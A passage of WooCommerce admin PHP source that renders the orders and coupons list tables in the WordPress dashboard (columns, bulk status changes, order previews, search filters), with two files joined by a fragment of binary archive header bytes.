		$show_columns['billing_address']  = __( 'Billing', 'woocommerce' );
		$show_columns['shipping_address'] = __( 'Ship to', 'woocommerce' );
		$show_columns['order_total']      = __( 'Total', 'woocommerce' );
		$show_columns['wc_actions']       = __( 'Actions', 'woocommerce' );

		wp_enqueue_script( 'wc-orders' );

		return $show_columns;
	}

	/**
	 * Define bulk actions.
	 *
	 * @param array $actions Existing actions.
	 * @return array
	 */
	public function define_bulk_actions( $actions ) {
		if ( isset( $actions['edit'] ) ) {
			unset( $actions['edit'] );
		}

		$actions['mark_processing'] = __( 'Change status to processing', 'woocommerce' );
		$actions['mark_on-hold']    = __( 'Change status to on-hold', 'woocommerce' );
		$actions['mark_completed']  = __( 'Change status to completed', 'woocommerce' );
		$actions['mark_cancelled']  = __( 'Change status to cancelled', 'woocommerce' );

		if ( wc_string_to_bool( get_option( 'woocommerce_allow_bulk_remove_personal_data', 'no' ) ) ) {
			$actions['remove_personal_data'] = __( 'Remove personal data', 'woocommerce' );
		}

		return $actions;
	}

	/**
	 * Pre-fetch any data for the row each column has access to it. the_order global is there for bw compat.
	 *
	 * @param int $post_id Post ID being shown.
	 */
	protected function prepare_row_data( $post_id ) {
		global $the_order;

		if ( empty( $this->object ) || $this->object->get_id() !== $post_id ) {
			$this->object = wc_get_order( $post_id );
			$the_order    = $this->object;
		}
	}

	/**
	 * Render columm: order_number.
	 */
	protected function render_order_number_column() {
		$buyer = '';

		if ( $this->object->get_billing_first_name() || $this->object->get_billing_last_name() ) {
			/* translators: 1: first name 2: last name */
			$buyer = trim( sprintf( _x( '%1$s %2$s', 'full name', 'woocommerce' ), $this->object->get_billing_first_name(), $this->object->get_billing_last_name() ) );
		} elseif ( $this->object->get_billing_company() ) {
			$buyer = trim( $this->object->get_billing_company() );
		} elseif ( $this->object->get_customer_id() ) {
			$user  = get_user_by( 'id', $this->object->get_customer_id() );
			$buyer = ucwords( $user->display_name );
		}

		/**
		 * Filter buyer name in list table orders.
		 *
		 * @since 3.7.0
		 * @param string   $buyer Buyer name.
		 * @param WC_Order $order Order data.
		 */
		$buyer = apply_filters( 'woocommerce_admin_order_buyer_name', $buyer, $this->object );

		if ( $this->object->get_status() === 'trash' ) {
			echo '<strong>#' . esc_attr( $this->object->get_order_number() ) . ' ' . esc_html( $buyer ) . '</strong>';
		} else {
			echo '<a href="#" class="order-preview" data-order-id="' . absint( $this->object->get_id() ) . '" title="' . esc_attr( __( 'Preview', 'woocommerce' ) ) . '">' . esc_html( __( 'Preview', 'woocommerce' ) ) . '</a>';
			echo '<a href="' . esc_url( admin_url( 'post.php?post=' . absint( $this->object->get_id() ) ) . '&action=edit' ) . '" class="order-view"><strong>#' . esc_attr( $this->object->get_order_number() ) . ' ' . esc_html( $buyer ) . '</strong></a>';
		}
	}

	/**
	 * Render columm: order_status.
	 */
	protected function render_order_status_column() {
		$tooltip                 = '';
		$comment_count           = get_comment_count( $this->object->get_id() );
		$approved_comments_count = absint( $comment_count['approved'] );

		if ( $approved_comments_count ) {
			$latest_notes = wc_get_order_notes(
				array(
					'order_id' => $this->object->get_id(),
					'limit'    => 1,
					'orderby'  => 'date_created_gmt',
				)
			);

			$latest_note = current( $latest_notes );

			if ( isset( $latest_note->content ) && 1 === $approved_comments_count ) {
				$tooltip = wc_sanitize_tooltip( $latest_note->content );
			} elseif ( isset( $latest_note->content ) ) {
				/* translators: %d: notes count */
				$tooltip = wc_sanitize_tooltip( $latest_note->content . '<br/><small style="display:block">' . sprintf( _n( 'Plus %d other note', 'Plus %d other notes', ( $approved_comments_count - 1 ), 'woocommerce' ), $approved_comments_count - 1 ) . '</small>' );
			} else {
				/* translators: %d: notes count */
				$tooltip = wc_sanitize_tooltip( sprintf( _n( '%d note', '%d notes', $approved_comments_count, 'woocommerce' ), $approved_comments_count ) );
			}
		}

		if ( $tooltip ) {
			printf( '<mark class="order-status %s tips" data-tip="%s"><span>%s</span></mark>', esc_attr( sanitize_html_class( 'status-' . $this->object->get_status() ) ), wp_kses_post( $tooltip ), esc_html( wc_get_order_status_name( $this->object->get_status() ) ) );
		} else {
			printf( '<mark class="order-status %s"><span>%s</span></mark>', esc_attr( sanitize_html_class( 'status-' . $this->object->get_status() ) ), esc_html( wc_get_order_status_name( $this->object->get_status() ) ) );
		}
	}

	/**
	 * Render columm: order_date.
	 */
	protected function render_order_date_column() {
		$order_timestamp = $this->object->get_date_created() ? $this->object->get_date_created()->getTimestamp() : '';

		if ( ! $order_timestamp ) {
			echo '&ndash;';
			return;
		}

		// Check if the order was created within the last 24 hours, and not in the future.
		if ( $order_timestamp > strtotime( '-1 day', time() ) && $order_timestamp <= time() ) {
			$show_date = sprintf(
				/* translators: %s: human-readable time difference */
				_x( '%s ago', '%s = human-readable time difference', 'woocommerce' ),
				human_time_diff( $this->object->get_date_created()->getTimestamp(), time() )
			);
		} else {
			$show_date = $this->object->get_date_created()->date_i18n( apply_filters( 'woocommerce_admin_order_date_format', __( 'M j, Y', 'woocommerce' ) ) );
		}
		printf(
			'<time datetime="%1$s" title="%2$s">%3$s</time>',
			esc_attr( $this->object->get_date_created()->date( 'c' ) ),
			esc_html( $this->object->get_date_created()->date_i18n( get_option( 'date_format' ) . ' ' . get_option( 'time_format' ) ) ),
			esc_html( $show_date )
		);
	}

	/**
	 * Render columm: order_total.
	 */
	protected function render_order_total_column() {
		if ( $this->object->get_payment_method_title() ) {
			/* translators: %s: method */
			echo '<span class="tips" data-tip="' . esc_attr( sprintf( __( 'via %s', 'woocommerce' ), $this->object->get_payment_method_title() ) ) . '">' . wp_kses_post( $this->object->get_formatted_order_total() ) . '</span>';
		} else {
			echo wp_kses_post( $this->object->get_formatted_order_total() );
		}
	}

	/**
	 * Render columm: wc_actions.
	 */
	protected function render_wc_actions_column() {
		echo '<p>';

		do_action( 'woocommerce_admin_order_actions_start', $this->object );

		$actions = array();

		if ( $this->object->has_status( array( 'pending', 'on-hold' ) ) ) {
			$actions['processing'] = array(
				'url'    => wp_nonce_url( admin_url( 'admin-ajax.php?action=woocommerce_mark_order_status&status=processing&order_id=' . $this->object->get_id() ), 'woocommerce-mark-order-status' ),
				'name'   => __( 'Processing', 'woocommerce' ),
				'action' => 'processing',
			);
		}

		if ( $this->object->has_status( array( 'pending', 'on-hold', 'processing' ) ) ) {
			$actions['complete'] = array(
				'url'    => wp_nonce_url( admin_url( 'admin-ajax.php?action=woocommerce_mark_order_status&status=completed&order_id=' . $this->object->get_id() ), 'woocommerce-mark-order-status' ),
				'name'   => __( 'Complete', 'woocommerce' ),
				'action' => 'complete',
			);
		}

		$actions = apply_filters( 'woocommerce_admin_order_actions', $actions, $this->object );

		echo wc_render_action_buttons( $actions ); // WPCS: XSS ok.

		do_action( 'woocommerce_admin_order_actions_end', $this->object );

		echo '</p>';
	}

	/**
	 * Render columm: billing_address.
	 */
	protected function render_billing_address_column() {
		$address = $this->object->get_formatted_billing_address();

		if ( $address ) {
			echo esc_html( preg_replace( '#<br\s*/?>#i', ', ', $address ) );

			if ( $this->object->get_payment_method() ) {
				/* translators: %s: payment method */
				echo '<span class="description">' . sprintf( __( 'via %s', 'woocommerce' ), esc_html( $this->object->get_payment_method_title() ) ) . '</span>'; // WPCS: XSS ok.
			}
		} else {
			echo '&ndash;';
		}
	}

	/**
	 * Render columm: shipping_address.
	 */
	protected function render_shipping_address_column() {
		$address = $this->object->get_formatted_shipping_address();

		if ( $address ) {
			echo '<a target="_blank" href="' . esc_url( $this->object->get_shipping_address_map_url() ) . '">' . esc_html( preg_replace( '#<br\s*/?>#i', ', ', $address ) ) . '</a>';
			if ( $this->object->get_shipping_method() ) {
				/* translators: %s: shipping method */
				echo '<span class="description">' . sprintf( __( 'via %s', 'woocommerce' ), esc_html( $this->object->get_shipping_method() ) ) . '</span>'; // WPCS: XSS ok.
			}
		} else {
			echo '&ndash;';
		}
	}

	/**
	 * Template for order preview.
	 *
	 * @since 3.3.0
	 */
	public function order_preview_template() {
		?>
		<script type="text/template" id="tmpl-wc-modal-view-order">
			<div class="wc-backbone-modal wc-order-preview">
				<div class="wc-backbone-modal-content">
					<section class="wc-backbone-modal-main" role="main">
						<header class="wc-backbone-modal-header">
							<mark class="order-status status-{{ data.status }}"><span>{{ data.status_name }}</span></mark>
							<?php /* translators: %s: order ID */ ?>
							<h1><?php echo esc_html( sprintf( __( 'Order #%s', 'woocommerce' ), '{{ data.order_number }}' ) ); ?></h1>
							<button class="modal-close modal-close-link dashicons dashicons-no-alt">
								<span class="screen-reader-text"><?php esc_html_e( 'Close modal panel', 'woocommerce' ); ?></span>
							</button>
						</header>
						<article>
							<?php do_action( 'woocommerce_admin_order_preview_start' ); ?>

							<div class="wc-order-preview-addresses">
								<div class="wc-order-preview-address">
									<h2><?php esc_html_e( 'Billing details', 'woocommerce' ); ?></h2>
									{{{ data.formatted_billing_address }}}

									<# if ( data.data.billing.email ) { #>
										<strong><?php esc_html_e( 'Email', 'woocommerce' ); ?></strong>
										<a href="mailto:{{ data.data.billing.email }}">{{ data.data.billing.email }}</a>
									<# } #>

									<# if ( data.data.billing.phone ) { #>
										<strong><?php esc_html_e( 'Phone', 'woocommerce' ); ?></strong>
										<a href="tel:{{ data.data.billing.phone }}">{{ data.data.billing.phone }}</a>
									<# } #>

									<# if ( data.payment_via ) { #>
										<strong><?php esc_html_e( 'Payment via', 'woocommerce' ); ?></strong>
										{{{ data.payment_via }}}
									<# } #>
								</div>
								<# if ( data.needs_shipping ) { #>
									<div class="wc-order-preview-address">
										<h2><?php esc_html_e( 'Shipping details', 'woocommerce' ); ?></h2>
										<# if ( data.ship_to_billing ) { #>
											{{{ data.formatted_billing_address }}}
										<# } else { #>
											<a href="{{ data.shipping_address_map_url }}" target="_blank">{{{ data.formatted_shipping_address }}}</a>
										<# } #>

										<# if ( data.shipping_via ) { #>
											<strong><?php esc_html_e( 'Shipping method', 'woocommerce' ); ?></strong>
											{{ data.shipping_via }}
										<# } #>
									</div>
								<# } #>

								<# if ( data.data.customer_note ) { #>
									<div class="wc-order-preview-note">
										<strong><?php esc_html_e( 'Note', 'woocommerce' ); ?></strong>
										{{ data.data.customer_note }}
									</div>
								<# } #>
							</div>

							{{{ data.item_html }}}

							<?php do_action( 'woocommerce_admin_order_preview_end' ); ?>
						</article>
						<footer>
							<div class="inner">
								{{{ data.actions_html }}}

								<a class="button button-primary button-large" aria-label="<?php esc_attr_e( 'Edit this order', 'woocommerce' ); ?>" href="<?php echo esc_url( admin_url( 'post.php?action=edit' ) ); ?>&post={{ data.data.id }}"><?php esc_html_e( 'Edit', 'woocommerce' ); ?></a>
							</div>
						</footer>
					</section>
				</div>
			</div>
			<div class="wc-backbone-modal-backdrop modal-close"></div>
		</script>
		<?php
	}

	/**
	 * Get items to display in the preview as HTML.
	 *
	 * @param  WC_Order $order Order object.
	 * @return string
	 */
	public static function get_order_preview_item_html( $order ) {
		$hidden_order_itemmeta = apply_filters(
			'woocommerce_hidden_order_itemmeta',
			array(
				'_qty',
				'_tax_class',
				'_product_id',
				'_variation_id',
				'_line_subtotal',
				'_line_subtotal_tax',
				'_line_total',
				'_line_tax',
				'method_id',
				'cost',
				'_reduced_stock',
				'_restock_refunded_items',
			)
		);

		$line_items = apply_filters( 'woocommerce_admin_order_preview_line_items', $order->get_items(), $order );
		$columns    = apply_filters(
			'woocommerce_admin_order_preview_line_item_columns',
			array(
				'product'  => __( 'Product', 'woocommerce' ),
				'quantity' => __( 'Quantity', 'woocommerce' ),
				'tax'      => __( 'Tax', 'woocommerce' ),
				'total'    => __( 'Total', 'woocommerce' ),
			),
			$order
		);

		if ( ! wc_tax_enabled() ) {
			unset( $columns['tax'] );
		}

		$html = '
		<div class="wc-order-preview-table-wrapper">
			<table cellspacing="0" class="wc-order-preview-table">
				<thead>
					<tr>';

		foreach ( $columns as $column => $label ) {
			$html .= '<th class="wc-order-preview-table__column--' . esc_attr( $column ) . '">' . esc_html( $label ) . '</th>';
		}

		$html .= '
					</tr>
				</thead>
				<tbody>';

		foreach ( $line_items as $item_id => $item ) {

			$product_object = is_callable( array( $item, 'get_product' ) ) ? $item->get_product() : null;
			$row_class      = apply_filters( 'woocommerce_admin_html_order_preview_item_class', '', $item, $order );

			$html .= '<tr class="wc-order-preview-table__item wc-order-preview-table__item--' . esc_attr( $item_id ) . ( $row_class ? ' ' . esc_attr( $row_class ) : '' ) . '">';

			foreach ( $columns as $column => $label ) {
				$html .= '<td class="wc-order-preview-table__column--' . esc_attr( $column ) . '">';
				switch ( $column ) {
					case 'product':
						$html .= wp_kses_post( $item->get_name() );

						if ( $product_object ) {
							$html .= '<div class="wc-order-item-sku">' . esc_html( $product_object->get_sku() ) . '</div>';
						}

						$meta_data = $item->get_formatted_meta_data( '' );

						if ( $meta_data ) {
							$html .= '<table cellspacing="0" class="wc-order-item-meta">';

							foreach ( $meta_data as $meta_id => $meta ) {
								if ( in_array( $meta->key, $hidden_order_itemmeta, true ) ) {
									continue;
								}
								$html .= '<tr><th>' . wp_kses_post( $meta->display_key ) . ':</th><td>' . wp_kses_post( force_balance_tags( $meta->display_value ) ) . '</td></tr>';
							}
							$html .= '</table>';
						}
						break;
					case 'quantity':
						$html .= esc_html( $item->get_quantity() );
						break;
					case 'tax':
						$html .= wc_price( $item->get_total_tax(), array( 'currency' => $order->get_currency() ) );
						break;
					case 'total':
						$html .= wc_price( $item->get_total(), array( 'currency' => $order->get_currency() ) );
						break;
					default:
						$html .= apply_filters( 'woocommerce_admin_order_preview_line_item_column_' . sanitize_key( $column ), '', $item, $item_id, $order );
						break;
				}
				$html .= '</td>';
			}

			$html .= '</tr>';
		}

		$html .= '
				</tbody>
			</table>
		</div>';

		return $html;
	}

	/**
	 * Get actions to display in the preview as HTML.
	 *
	 * @param  WC_Order $order Order object.
	 * @return string
	 */
	public static function get_order_preview_actions_html( $order ) {
		$actions        = array();
		$status_actions = array();

		if ( $order->has_status( array( 'pending' ) ) ) {
			$status_actions['on-hold'] = array(
				'url'    => wp_nonce_url( admin_url( 'admin-ajax.php?action=woocommerce_mark_order_status&status=on-hold&order_id=' . $order->get_id() ), 'woocommerce-mark-order-status' ),
				'name'   => __( 'On-hold', 'woocommerce' ),
				'title'  => __( 'Change order status to on-hold', 'woocommerce' ),
				'action' => 'on-hold',
			);
		}

		if ( $order->has_status( array( 'pending', 'on-hold' ) ) ) {
			$status_actions['processing'] = array(
				'url'    => wp_nonce_url( admin_url( 'admin-ajax.php?action=woocommerce_mark_order_status&status=processing&order_id=' . $order->get_id() ), 'woocommerce-mark-order-status' ),
				'name'   => __( 'Processing', 'woocommerce' ),
				'title'  => __( 'Change order status to processing', 'woocommerce' ),
				'action' => 'processing',
			);
		}

		if ( $order->has_status( array( 'pending', 'on-hold', 'processing' ) ) ) {
			$status_actions['complete'] = array(
				'url'    => wp_nonce_url( admin_url( 'admin-ajax.php?action=woocommerce_mark_order_status&status=completed&order_id=' . $order->get_id() ), 'woocommerce-mark-order-status' ),
				'name'   => __( 'Completed', 'woocommerce' ),
				'title'  => __( 'Change order status to completed', 'woocommerce' ),
				'action' => 'complete',
			);
		}

		if ( $status_actions ) {
			$actions['status'] = array(
				'group'   => __( 'Change status: ', 'woocommerce' ),
				'actions' => $status_actions,
			);
		}

		return wc_render_action_buttons( apply_filters( 'woocommerce_admin_order_preview_actions', $actions, $order ) );
	}

	/**
	 * Get order details to send to the ajax endpoint for previews.
	 *
	 * @param  WC_Order $order Order object.
	 * @return array
	 */
	public static function order_preview_get_order_details( $order ) {
		if ( ! $order ) {
			return array();
		}

		$payment_via      = $order->get_payment_method_title();
		$payment_method   = $order->get_payment_method();
		$payment_gateways = WC()->payment_gateways() ? WC()->payment_gateways->payment_gateways() : array();
		$transaction_id   = $order->get_transaction_id();

		if ( $transaction_id ) {

			$url = isset( $payment_gateways[ $payment_method ] ) ? $payment_gateways[ $payment_method ]->get_transaction_url( $order ) : false;

			if ( $url ) {
				$payment_via .= ' (<a href="' . esc_url( $url ) . '" target="_blank">' . esc_html( $transaction_id ) . '</a>)';
			} else {
				$payment_via .= ' (' . esc_html( $transaction_id ) . ')';
			}
		}

		$billing_address  = $order->get_formatted_billing_address();
		$shipping_address = $order->get_formatted_shipping_address();

		return apply_filters(
			'woocommerce_admin_order_preview_get_order_details',
			array(
				'data'                       => $order->get_data(),
				'order_number'               => $order->get_order_number(),
				'item_html'                  => self::get_order_preview_item_html( $order ),
				'actions_html'               => self::get_order_preview_actions_html( $order ),
				'ship_to_billing'            => wc_ship_to_billing_address_only(),
				'needs_shipping'             => $order->needs_shipping_address(),
				'formatted_billing_address'  => $billing_address ? $billing_address : __( 'N/A', 'woocommerce' ),
				'formatted_shipping_address' => $shipping_address ? $shipping_address : __( 'N/A', 'woocommerce' ),
				'shipping_address_map_url'   => $order->get_shipping_address_map_url(),
				'payment_via'                => $payment_via,
				'shipping_via'               => $order->get_shipping_method(),
				'status'                     => $order->get_status(),
				'status_name'                => wc_get_order_status_name( $order->get_status() ),
			),
			$order
		);
	}

	/**
	 * Handle bulk actions.
	 *
	 * @param  string $redirect_to URL to redirect to.
	 * @param  string $action      Action name.
	 * @param  array  $ids         List of ids.
	 * @return string
	 */
	public function handle_bulk_actions( $redirect_to, $action, $ids ) {
		$ids     = apply_filters( 'woocommerce_bulk_action_ids', array_reverse( array_map( 'absint', $ids ) ), $action, 'order' );
		$changed = 0;

		if ( 'remove_personal_data' === $action ) {
			$report_action = 'removed_personal_data';

			foreach ( $ids as $id ) {
				$order = wc_get_order( $id );

				if ( $order ) {
					do_action( 'woocommerce_remove_order_personal_data', $order );
					$changed++;
				}
			}
		} elseif ( false !== strpos( $action, 'mark_' ) ) {
			$order_statuses = wc_get_order_statuses();
			$new_status     = substr( $action, 5 ); // Get the status name from action.
			$report_action  = 'marked_' . $new_status;

			// Sanity check: bail out if this is actually not a status, or is not a registered status.
			if ( isset( $order_statuses[ 'wc-' . $new_status ] ) ) {
				// Initialize payment gateways in case order has hooked status transition actions.
				WC()->payment_gateways();

				foreach ( $ids as $id ) {
					$order = wc_get_order( $id );
					$order->update_status( $new_status, __( 'Order status changed by bulk edit:', 'woocommerce' ), true );
					do_action( 'woocommerce_order_edit_status', $id, $new_status );
					$changed++;
				}
			}
		}

		if ( $changed ) {
			$redirect_to = add_query_arg(
				array(
					'post_type'   => $this->list_table_type,
					'bulk_action' => $report_action,
					'changed'     => $changed,
					'ids'         => join( ',', $ids ),
				),
				$redirect_to
			);
		}

		return esc_url_raw( $redirect_to );
	}

	/**
	 * Show confirmation message that order status changed for number of orders.
	 */
	public function bulk_admin_notices() {
		global $post_type, $pagenow;

		// Bail out if not on shop order list page.
		if ( 'edit.php' !== $pagenow || 'shop_order' !== $post_type || ! isset( $_REQUEST['bulk_action'] ) ) { // WPCS: input var ok, CSRF ok.
			return;
		}

		$order_statuses = wc_get_order_statuses();
		$number         = isset( $_REQUEST['changed'] ) ? absint( $_REQUEST['changed'] ) : 0; // WPCS: input var ok, CSRF ok.
		$bulk_action    = wc_clean( wp_unslash( $_REQUEST['bulk_action'] ) ); // WPCS: input var ok, CSRF ok.

		// Check if any status changes happened.
		foreach ( $order_statuses as $slug => $name ) {
			if ( 'marked_' . str_replace( 'wc-', '', $slug ) === $bulk_action ) { // WPCS: input var ok, CSRF ok.
				/* translators: %d: orders count */
				$message = sprintf( _n( '%d order status changed.', '%d order statuses changed.', $number, 'woocommerce' ), number_format_i18n( $number ) );
				echo '<div class="updated"><p>' . esc_html( $message ) . '</p></div>';
				break;
			}
		}

		if ( 'removed_personal_data' === $bulk_action ) { // WPCS: input var ok, CSRF ok.
			/* translators: %d: orders count */
			$message = sprintf( _n( 'Removed personal data from %d order.', 'Removed personal data from %d orders.', $number, 'woocommerce' ), number_format_i18n( $number ) );
			echo '<div class="updated"><p>' . esc_html( $message ) . '</p></div>';
		}
	}

	/**
	 * See if we should render search filters or not.
	 */
	public function restrict_manage_posts() {
		global $typenow;

		if ( in_array( $typenow, wc_get_order_types( 'order-meta-boxes' ), true ) ) {
			$this->render_filters();
		}
	}

	/**
	 * Render any custom filters and search inputs for the list table.
	 */
	protected function render_filters() {
		$user_string = '';
		$user_id     = '';

		if ( ! empty( $_GET['_customer_user'] ) ) { // phpcs:disable WordPress.Security.NonceVerification.Recommended
			$user_id = absint( $_GET['_customer_user'] ); // WPCS: input var ok, sanitization ok.
			$user    = get_user_by( 'id', $user_id );

			$user_string = sprintf(
				/* translators: 1: user display name 2: user ID 3: user email */
				esc_html__( '%1$s (#%2$s &ndash; %3$s)', 'woocommerce' ),
				$user->display_name,
				absint( $user->ID ),
				$user->user_email
			);
		}
		?>
		<select class="wc-customer-search" name="_customer_user" data-placeholder="<?php esc_attr_e( 'Filter by registered customer', 'woocommerce' ); ?>" data-allow_clear="true">
			<option value="<?php echo esc_attr( $user_id ); ?>" selected="selected"><?php echo htmlspecialchars( wp_kses_post( $user_string ) ); // htmlspecialchars to prevent XSS when rendered by selectWoo. ?></option>
		</select>
		<?php
	}

	/**
	 * Handle any filters.
	 *
	 * @param array $query_vars Query vars.
	 * @return array
	 */
	public function request_query( $query_vars ) {
		global $typenow;

		if ( in_array( $typenow, wc_get_order_types( 'order-meta-boxes' ), true ) ) {
			return $this->query_filters( $query_vars );
		}

		return $query_vars;
	}

	/**
	 * Handle any custom filters.
	 *
	 * @param array $query_vars Query vars.
	 * @return array
	 */
	protected function query_filters( $query_vars ) {
		global $wp_post_statuses;

		// Filter the orders by the posted customer.
		if ( ! empty( $_GET['_customer_user'] ) ) { // WPCS: input var ok.
			// @codingStandardsIgnoreStart.
			$query_vars['meta_query'] = array(
				array(
					'key'     => '_customer_user',
					'value'   => (int) $_GET['_customer_user'], // WPCS: input var ok, sanitization ok.
					'compare' => '=',
				),
			);
			// @codingStandardsIgnoreEnd
		}

		// Sorting.
		if ( isset( $query_vars['orderby'] ) ) {
			if ( 'order_total' === $query_vars['orderby'] ) {
				// @codingStandardsIgnoreStart
				$query_vars = array_merge( $query_vars, array(
					'meta_key'  => '_order_total',
					'orderby'   => 'meta_value_num',
				) );
				// @codingStandardsIgnoreEnd
			}
		}

		// Status.
		if ( empty( $query_vars['post_status'] ) ) {
			$post_statuses = wc_get_order_statuses();

			foreach ( $post_statuses as $status => $value ) {
				if ( isset( $wp_post_statuses[ $status ] ) && false === $wp_post_statuses[ $status ]->show_in_admin_all_list ) {
					unset( $post_statuses[ $status ] );
				}
			}

			$query_vars['post_status'] = array_keys( $post_statuses );
		}
		return $query_vars;
	}

	/**
	 * Change the label when searching orders.
	 *
	 * @param mixed $query Current search query.
	 * @return string
	 */
	public function search_label( $query ) {
		global $pagenow, $typenow;

		if ( 'edit.php' !== $pagenow || 'shop_order' !== $typenow || ! get_query_var( 'shop_order_search' ) || ! isset( $_GET['s'] ) ) { // phpcs:ignore  WordPress.Security.NonceVerification.Recommended
			return $query;
		}

		return wc_clean( wp_unslash( $_GET['s'] ) ); // WPCS: input var ok, sanitization ok.
	}

	/**
	 * Query vars for custom searches.
	 *
	 * @param mixed $public_query_vars Array of query vars.
	 * @return array
	 */
	public function add_custom_query_var( $public_query_vars ) {
		$public_query_vars[] = 'shop_order_search';
		return $public_query_vars;
	}

	/**
	 * Search custom fields as well as content.
	 *
	 * @param WP_Query $wp Query object.
	 */
	public function search_custom_fields( $wp ) {
		global $pagenow;

		if ( 'edit.php' !== $pagenow || empty( $wp->query_vars['s'] ) || 'shop_order' !== $wp->query_vars['post_type'] || ! isset( $_GET['s'] ) ) { // phpcs:ignore  WordPress.Security.NonceVerification.Recommended
			return;
		}

		$post_ids = wc_order_search( wc_clean( wp_unslash( $_GET['s'] ) ) ); // WPCS: input var ok, sanitization ok.

		if ( ! empty( $post_ids ) ) {
			// Remove "s" - we don't want to search order name.
			unset( $wp->query_vars['s'] );

			// so we know we're doing this.
			$wp->query_vars['shop_order_search'] = true;

			// Search by found posts.
			$wp->query_vars['post__in'] = array_merge( $post_ids, array( 0 ) );
		}
	}
}
PK�3\:�
�1list-tables/class-wc-admin-list-table-coupons.phpnu�[���<?php
/**
 * List tables: coupons.
 *
 * @package  WooCommerce\Admin
 * @version  3.3.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( class_exists( 'WC_Admin_List_Table_Coupons', false ) ) {
	return;
}

if ( ! class_exists( 'WC_Admin_List_Table', false ) ) {
	include_once __DIR__ . '/abstract-class-wc-admin-list-table.php';
}

/**
 * WC_Admin_List_Table_Coupons Class.
 */
class WC_Admin_List_Table_Coupons extends WC_Admin_List_Table {

	/**
	 * Post type.
	 *
	 * @var string
	 */
	protected $list_table_type = 'shop_coupon';

	/**
	 * Constructor.
	 */
	public function __construct() {
		parent::__construct();
		add_filter( 'disable_months_dropdown', '__return_true' );
	}

	/**
	 * Render blank state.
	 */
	protected function render_blank_state() {
		echo '<div class="woocommerce-BlankState">';
		echo '<h2 class="woocommerce-BlankState-message">' . esc_html__( 'Coupons are a great way to offer discounts and rewards to your customers. They will appear here once created.', 'woocommerce' ) . '</h2>';
		echo '<a class="woocommerce-BlankState-cta button-primary button" href="' . esc_url( admin_url( 'post-new.php?post_type=shop_coupon' ) ) . '">' . esc_html__( 'Create your first coupon', 'woocommerce' ) . '</a>';
		echo '<a class="woocommerce-BlankState-cta button" target="_blank" href="https://docs.woocommerce.com/document/coupon-management/?utm_source=blankslate&utm_medium=product&utm_content=couponsdoc&utm_campaign=woocommerceplugin">' . esc_html__( 'Learn more about coupons', 'woocommerce' ) . '</a>';
		echo '</div>';
	}

	/**
	 * Define primary column.
	 *
	 * @return string
	 */
	protected function get_primary_column() {
		return 'coupon_code';
	}

	/**
	 * Get row actions to show in the list table.
	 *
	 * @param array   $actions Array of actions.
	 * @param WP_Post $post Current post object.
	 * @return array
	 */
	protected function get_row_actions( $actions, $post ) {
		unset( $actions['inline hide-if-no-js'] );
		return $actions;
	}

	/**
	 * Define which columns to show on this screen.
	 *
	 * @param array $columns Existing columns.
	 * @return array
	 */
	public function define_columns( $columns ) {
		$show_columns                = array();
		$show_columns['cb']          = $columns['cb'];
		$show_columns['coupon_code'] = __( 'Code', 'woocommerce' );
		$show_columns['type']        = __( 'Coupon type', 'woocommerce' );
		$show_columns['amount']      = __( 'Coupon amount', 'woocommerce' );
		$show_columns['description'] = __( 'Description', 'woocommerce' );
		$show_columns['products']    = __( 'Product IDs', 'woocommerce' );
		$show_columns['usage']       = __( 'Usage / Limit', 'woocommerce' );
		$show_columns['expiry_date'] = __( 'Expiry date', 'woocommerce' );

		return $show_columns;
	}

	/**
	 * Pre-fetch any data for the row each column has access to it. the_coupon global is there for bw compat.
	 *
	 * @param int $post_id Post ID being shown.
	 */
	protected function prepare_row_data( $post_id ) {
		global $the_coupon;

		if ( empty( $this->object ) || $this->object->get_id() !== $post_id ) {
			$this->object = new WC_Coupon( $post_id );
			$the_coupon   = $this->object;
		}
	}

	/**
	 * Render columm: coupon_code.
	 */
	protected function render_coupon_code_column() {
		global $post;

		$edit_link = get_edit_post_link( $this->object->get_id() );
		$title     = $this->object->get_code();

		echo '<strong><a class="row-title" href="' . esc_url( $edit_link ) . '">' . esc_html( $title ) . '</a>';
		_post_states( $post );
		echo '</strong>';
	}

	/**
	 * Render columm: type.
	 */
	protected function render_type_column() {
		echo esc_html( wc_get_coupon_type( $this->object->get_discount_type() ) );
	}

	/**
	 * Render columm: amount.
	 */
	protected function render_amount_column() {
		echo esc_html( wc_format_localized_price( $this->object->get_amount() ) );
	}
	/**
	 * Render columm: products.
	 */
	protected function render_products_column() {
		$product_ids = $this->object->get_product_ids();

		if ( count( $product_ids ) > 0 ) {
			echo esc_html( implode( ', ', $product_ids ) );
		} else {
			echo '&ndash;';
		}
	}

	/**
	 * Render columm: usage_limit.
	 */
	protected function render_usage_limit_column() {
		$usage_limit = $this->object->get_usage_limit();

		if ( $usage_limit ) {
			echo esc_html( $usage_limit );
		} else {
			echo '&ndash;';
		}
	}

	/**
	 * Render columm: usage.
	 */
	protected function render_usage_column() {
		$usage_count = $this->object->get_usage_count();
		$usage_limit = $this->object->get_usage_limit();

		printf(
			/* translators: 1: count 2: limit */
			__( '%1$s / %2$s', 'woocommerce' ),
			esc_html( $usage_count ),
			$usage_limit ? esc_html( $usage_limit ) : '&infin;'
		);
	}

	/**
	 * Render columm: expiry_date.
	 */
	protected function render_expiry_date_column() {
		$expiry_date = $this->object->get_date_expires();

		if ( $expiry_date ) {
			echo esc_html( $expiry_date->date_i18n( 'F j, Y' ) );
		} else {
			echo '&ndash;';
		}
	}

	/**
	 * Render columm: description.
	 */
	protected function render_description_column() {
		echo wp_kses_post( $this->object->get_description() ? $this->object->get_description() : '&ndash;' );
	}

	/**
	 * Render any custom filters and search inputs for the list table.
	 */
	protected function render_filters() {
		?>
		<select name="coupon_type" id="dropdown_shop_coupon_type">
			<option value=""><?php esc_html_e( 'Show all types', 'woocommerce' ); ?></option>
			<?php
			$types = wc_get_coupon_types();

			foreach ( $types as $name => $type ) {
				echo '<option value="' . esc_attr( $name ) . '"';

				if ( isset( $_GET['coupon_type'] ) ) { // WPCS: input var ok.
					selected( $name, wc_clean( wp_unslash( $_GET['coupon_type'] ) ) ); // WPCS: input var ok, sanitization ok.
				}

				echo '>' . esc_html( $type ) . '</option>';
			}
			?>
		</select>
		<?php
	}

	/**
	 * Handle any custom filters.
	 *
	 * @param array $query_vars Query vars.
	 * @return array
	 */
	protected function query_filters( $query_vars ) {
		if ( ! empty( $_GET['coupon_type'] ) ) { // WPCS: input var ok, sanitization ok.
			$query_vars['meta_key']   = 'discount_type'; // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key
